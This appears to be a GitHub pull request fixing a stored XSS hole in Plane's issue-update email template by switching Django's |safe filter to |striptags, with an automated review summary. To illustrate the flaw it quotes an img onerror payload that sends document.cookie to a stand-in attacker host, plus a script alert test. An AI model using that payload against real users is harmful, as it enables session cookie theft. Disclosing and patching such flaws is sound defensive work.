fix(security): stop rendering raw comment HTML unescaped in email notifications - #9651
Conversation
…ifications
issue-updates.html rendered each new-comment value with {{ actor_comment|safe }},
which disables Django's autoescaping entirely. Since actor_comment is sourced
from comment.comment_html - raw, unsanitized user input - a comment containing
a payload like <img src=x onerror="..."> was written straight into the
notification email and would execute in any email client that renders inline
HTML/JS, as demonstrated with a live PoC in makeplane#9218 (CWE-79, reported 2026-06-05,
still open).
Neither this path nor the sibling "mention" path sanitizes comment content
before this point - process_html_content()/process_mention() in
email_notification_task.py only resolves @mention placeholders into plain
text, it isn't a sanitizer, and comments (as opposed to mentions) don't even
go through that step.
Switch to the built-in `striptags` filter, one of the fix options already
suggested in makeplane#9218. This strips all HTML (including any tag's attributes, so
an onerror handler never reaches the output at all) and leaves the residual
text through Django's normal autoescaping, which closes the hole without
adding a new dependency. Verified against Django directly: the PoC payload
from makeplane#9218 renders as executable HTML with |safe and as an empty string with
|striptags.
Comments will render as plain text in this email rather than keeping bold/
italic/link formatting - a deliberate, conservative tradeoff. A proper
allowlist sanitizer (e.g. bleach) could preserve that formatting safely, but
picking the right allowed-tags policy needs to match what the rich text
editor actually emits, which is a decision for the maintainers; a hand-rolled
allowlist isn't something to guess at in a security fix.
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Plus Run ID: 📒 Files selected for processing (1)
Included review availability: Your plan provides up to 10 included reviews per hour; 9 remain after this review. 📝 WalkthroughWalkthroughIssue update emails now strip HTML tags from comment text before rendering. ChangesIssue update email rendering
Estimated code review effort: 1 (Trivial) | ~2 minutes Merge Risk: ⚪ Minimal · up to Comment content in notification emails is changed from raw HTML to tag-stripped text, removing executable markup while preserving the notification’s text. No actionable merge-blocking risk remains beyond normal checks and review. Suggested reviewers: 🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Summary
Fixes the stored XSS reported in #9218 (CVE-candidate, CWE-79, reported 2026-06-05 with a working PoC, still open at time of this PR).
issue-updates.htmlrenders each comment's content with{{ actor_comment|safe }}.|safedisables Django's autoescaping entirely, andactor_commentis sourced fromcomment.comment_html— raw, unsanitized rich-text input from the comment author. A comment body like<img src=x onerror="fetch('https://attacker.example/log?c='+document.cookie)">gets written straight into the issue-update notification email as executable HTML, and would run in any email client that renders inline HTML/JS when a project member views the notification.I traced whether either the "comment" or "mention" code path in
email_notification_task.pysanitizes content before it reaches the template — it doesn't.process_mention()/process_html_content()only resolve<mention-component>placeholders into plain@usernametext via BeautifulSoup; they aren't a sanitizer, and regular comments (as opposed to mentions) don't even go through that function.|safeis the only thing standing between raw comment HTML and the rendered email, and it does the opposite of what's needed here.Fix
Switched
|safe→|striptags— one of the three remediation options the original report explicitly proposed.striptags(Django's built-in filter, no new dependency) removes every HTML tag and its attributes entirely, so anonerrorhandler never survives into the output, and any leftover text still goes through Django's normal autoescaping.Verified directly against Django (not just by inspection):
Also checked a mixed case (
<p>Great point! <script>alert(1)</script>Thanks</p>) —striptagsrenders it as the inert textGreat point! alert(1)Thanks, not as running script.This is the only
|safeusage acrossapps/api/templates/, and there's no plain-text sibling template for this notification, so this is the complete fix for the reported vector.Trade-off, flagged deliberately
Comments will now render as plain text in this email instead of keeping bold/italic/link formatting from the rich text editor. That's a conservative choice on purpose — a proper allowlist sanitizer (e.g.
bleach) could preserve safe formatting while still stripping dangerous tags/attributes, but that needs a new dependency and an allowed-tags policy that actually matches what the editor emits, which isn't something to guess at in a security-sensitive change. Happy to follow up with that if it's wanted; wanted to get the hole closed with something unambiguously correct first.Test plan
actor_comment|safein Email Notification #9218.grepthat this is the only|safefilter usage inapps/api/templates/.Summary by CodeRabbit